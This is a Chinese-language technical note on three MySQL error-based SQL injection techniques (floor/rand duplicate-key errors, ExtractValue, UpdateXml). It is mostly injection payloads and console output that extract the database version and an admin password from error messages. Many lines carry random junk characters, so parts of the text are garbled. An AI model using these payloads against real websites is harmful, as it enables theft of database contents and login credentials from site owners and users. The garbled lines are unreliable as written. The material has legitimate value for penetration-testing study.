关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
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mysql> show tables;
+----------------+
| Tables_in_test |
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  k3 \6 D: l$ w( m5 H; I| admin          |
- K2 N; e  C' [# O. I$ f5 S( i| article        |
+----------------+

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mysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
$ ^+ A% ^7 W) r# b& K| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
5 n. T  E+ F5 D, X+ v8 _| user  | varchar(50)      | NO   |     | NULL    |                |
" _$ F/ ?# x9 |" G  \. P. b: {% m| pass  | varchar(50)      | NO   |     | NULL    |                |
/ |1 q3 r7 x  @: ]7 Z9 E+-------+------------------+------+-----+---------+----------------+
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5 u* P! B( r, j% H- X; U5 j. Y# u$ nmysql> describe article;
( N) Y: E. B/ H' q, S+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
6 T, g. L( d- }7 n+---------+------------------+------+-----+---------+----------------+
1、通过floor报错
$ a" V( r( R1 z* Y" I3 I可以通过如下一些利用代码
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/ o! z  }7 q, f& ?and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
& [5 h* ^+ A" D% S3 @- kfrom information_schema.tables group by x)a);
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and (select count(*) from (select 1 union select null union select !1)x
5 ^4 Z. Y6 r9 G, k3 S- Dgroup by concat((select table_name from information_schema.tables limit 1),
8 b- \6 _+ P) U* Q) R% G9 T! pfloor(rand(0)*2)));
举例如下：
首先进行正常查询：
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) p! j$ x$ D( ]mysql> select * from article where id = 1;
; V  r1 x% f! _+----+-------+---------+
| id | title | content |
+----+-------+---------+
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+----+-------+---------+
  h0 `) r( n8 x* E; b0 h1 X( ^假如id输入存在注入的话，可以通过如下语句进行报错。
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& f/ e5 U6 I. D6 \mysql> select * from article where id = 1 and (select 1 from
1 N/ K7 ]9 ^8 ?, K(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
3 v8 ^5 o9 A! U; `2 I可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
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mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
$ |% d7 Q  c, j- \, Y& Qfrom information_schema.tables group by x)a);
2 M0 e; L+ F( |$ {; Y+ Z9 w' p2 WERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
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7 z, P/ t* W0 x. i* c; G+ Omysql> select * from article where id = 1 and (select count(*)
: B. D* a3 Z4 I' h* C$ D4 X4 L3 cfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
floor(rand(0)*2)));
  y8 u  W2 p1 J5 S+ o' gERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
3 L+ z3 s( t; W- ?1 f2、ExtractValue
7 x; T) Y* X0 Z: z2 m+ e测试语句如下


and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程


, g/ R# X! w( C3 O" O$ Tmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
, Z3 N% O8 U/ c: i- [ERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
测试语句
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and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
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( Z7 X) d+ ~$ h$ d* j+ |mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.

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